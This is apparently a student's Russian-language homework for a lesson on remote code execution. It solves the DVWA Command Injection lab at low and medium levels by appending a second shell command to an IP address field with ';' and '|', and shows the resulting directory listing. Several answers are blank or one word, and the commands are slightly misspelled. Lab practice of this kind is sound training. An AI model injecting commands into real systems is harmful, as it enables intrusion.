Урок 7. Remote Code Execution

Задание 1:

Есть сценарий (dig.PHP), его следует проверить на наличие уязвимостей, которые приводят к RCE. Установите сценарий, протестируйте его и дайте рекомендации, как повысить безопасность его использования.

Решение:

Задание 2:

Выполните развертывание среды DVWA (или используйте готовый образ). Решите задание Command Injection на уровне сложности Low, Medium и High. Каким образом можно обойти защиту?

Решение:

На уровне сложности low:

Vulnerability: Command Injection Ping a device Enter an IP address: 87.240.190.67; Is -Iha Submit PING 87.240.190.67 (87.240.190.67) 56(84) bytes of data. From 192.168.56.11 icmp_seq=1 Destination Host Unreachable From 192.168.56.11 icmp_seq=2 Destination Host Unreachable From 192.168.56.11 icmp_seq=3 Destination Host Unreachable From 192.168.56.11 icmp_seq=4 Destination Host Unreachable --- 87.240.190.67 ping statistics ---4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3019ms pipe 3 total 20K drwxrwxrwx 4 root root 4.0K Oct 19 2018 . drwxrwxrwx 14 root root 4.0K Oct 19 2018 ... drwxrwxrwx 2 root root 4.0K Oct 19 2018 help -rwxrwxrwx 1 root root 1.8K Oct 19 2018 index.php drwxrwxrwx 2 root root 4.0K Oct 19 2018 source

На уровне сложности medium:

Vulnerability: Command Injection Ping a device Enter an IP address: 87.240.190.67| Is -Iha Submit total 20K drwxrwxrwx 4 root root 4.0K Oct 19 2018 . drwxrwxrwx 14 root root 4.0K Oct 19 2018 . drwxrwxrwx 2 root root 4.0K Oct 19 2018 help -rwxrwxrwx 1 root root 1.8K Oct 19 2018 index.php drwxrwxrwx 2 root root 4.0K Oct 19 2018 source

И на high:



Задание 3:

Изучите страницу http://192.168.56.11/bwapp/phpi.php и определите, какие уязвимости там присутствуют. Составьте отчет о найденной уязвимости.

<u>Решение:</u>

Если обратить внимание на адресную строку, то можно заметить, что страница сервиса bwapp уязвима к RCE, а именно code injection.



Задание 4:

*Решите задание https://www.root-me.org/en/Challenges/Web-Server/Backup-file.

Решение:

Просто



